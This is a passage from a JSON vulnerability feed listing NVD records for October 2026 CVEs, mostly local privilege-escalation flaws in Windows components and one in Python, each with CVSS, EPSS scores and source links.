CVE-2026-85867","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85867","type":"primary","publishedAt":"2026-10-13T19:21:13.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85867&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85867, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85864","cveId":"CVE-2026-85864","aliases":[],"kind":"vulnerability","title":"Improper privilege management in Python allows an authorized attacker to elevate privileges locally.","summary":"Improper privilege management in Python allows an authorized attacker to elevate privileges locally.","detail":"Improper privilege management in Python allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:13.220Z","updatedAt":"2026-10-16T16:22:12.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85864","asOf":"2026-10-16T16:22:12.940Z"},"epss":{"probability":0.00745,"percentile":0.54487,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85864&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85864","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85864","type":"primary","publishedAt":"2026-10-13T19:21:13.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85864&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85864, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85863","cveId":"CVE-2026-85863","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:13.060Z","updatedAt":"2026-10-16T16:22:12.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85863","asOf":"2026-10-16T16:22:12.730Z"},"epss":{"probability":0.00242,"percentile":0.1522,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85863","type":"primary","publishedAt":"2026-10-13T19:21:13.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85861","cveId":"CVE-2026-85861","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:12.897Z","updatedAt":"2026-10-16T16:22:12.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85861","asOf":"2026-10-16T16:22:12.520Z"},"epss":{"probability":0.00242,"percentile":0.1522,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85861&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85861","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85861","type":"primary","publishedAt":"2026-10-13T19:21:12.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85861&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85861, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85860","cveId":"CVE-2026-85860","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Message Queuing Queue Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:12.713Z","updatedAt":"2026-10-16T16:22:12.297Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85860","asOf":"2026-10-16T16:22:12.297Z"},"epss":{"probability":0.00245,"percentile":0.15628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85860&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85860","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85860","type":"primary","publishedAt":"2026-10-13T19:21:12.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85860&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85860, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85858","cveId":"CVE-2026-85858","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:12.410Z","updatedAt":"2026-10-13T21:19:28.407Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85858","asOf":"2026-10-13T21:19:28.407Z"},"epss":{"probability":0.00252,"percentile":0.16477,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85858","type":"primary","publishedAt":"2026-10-13T19:21:12.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85856","cveId":"CVE-2026-85856","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Internet Connection Sharing (ICS) allows an authorized attacker to execute code over an adjacent network.","summary":"Heap-based buffer overflow in Windows Internet Connection Sharing (ICS) allows an authorized attacker to execute code over an adjacent network.","detail":"Heap-based buffer overflow in Windows Internet Connection Sharing (ICS) allows an authorized attacker to execute code over an adjacent network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:12.050Z","updatedAt":"2026-10-16T16:22:11.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85856","asOf":"2026-10-16T16:22:11.527Z"},"epss":{"probability":0.00363,"percentile":0.29854,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85856","type":"primary","publishedAt":"2026-10-13T19:21:12.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85855","cveId":"CVE-2026-85855","aliases":[],"kind":"vulnerability","title":"Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:11.930Z","updatedAt":"2026-10-13T21:19:27.987Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85855","asOf":"2026-10-13T21:19:27.987Z"},"epss":{"probability":0.00342,"percentile":0.27454,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85855","type":"primary","publishedAt":"2026-10-13T19:21:11.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85854","cveId":"CVE-2026-85854","aliases":[],"kind":"vulnerability","title":"Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:11.780Z","updatedAt":"2026-10-16T16:22:11.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85854","asOf":"2026-10-16T16:22:11.273Z"},"epss":{"probability":0.00252,"percentile":0.16478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85854&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85854","type":"primary","publishedAt":"2026-10-13T19:21:11.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85854&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85854, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85853","cveId":"CVE-2026-85853","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:11.623Z","updatedAt":"2026-10-16T16:22:11.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85853","asOf":"2026-10-16T16:22:11.070Z"},"epss":{"probability":0.00252,"percentile":0.16477,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85853","type":"primary","publishedAt":"2026-10-13T19:21:11.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85851","cveId":"CVE-2026-85851","aliases":[],"kind":"vulnerability","title":"Use after free in Windows SmartScreen allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows SmartScreen allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows SmartScreen allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:11.327Z","updatedAt":"2026-10-17T04:17:05.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85851","asOf":"2026-10-17T04:17:05.397Z"},"epss":{"probability":0.0033,"percentile":0.25893,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85851","type":"primary","publishedAt":"2026-10-13T19:21:11.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85850","cveId":"CVE-2026-85850","aliases":[],"kind":"vulnerability","title":"Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:11.207Z","updatedAt":"2026-10-13T21:19:27.313Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85850","asOf":"2026-10-13T21:19:27.313Z"},"epss":{"probability":0.00345,"percentile":0.2784,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85850&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85850","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85850","type":"primary","publishedAt":"2026-10-13T19:21:11.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85850&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85850, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85849","cveId":"CVE-2026-85849","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:11.043Z","updatedAt":"2026-10-16T16:22:10.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85849","asOf":"2026-10-16T16:22:10.520Z"},"epss":{"probability":0.00486,"percentile":0.4154,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85849&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85849","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85849","type":"primary","publishedAt":"2026-10-13T19:21:11.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85849&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85849, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85848","cveId":"CVE-2026-85848","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Background Intelligent Transfer Service (BITS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:10.860Z","updatedAt":"2026-10-16T16:22:10.297Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85848","asOf":"2026-10-16T16:22:10.297Z"},"epss":{"probability":0.00371,"percentile":0.30716,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85848&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 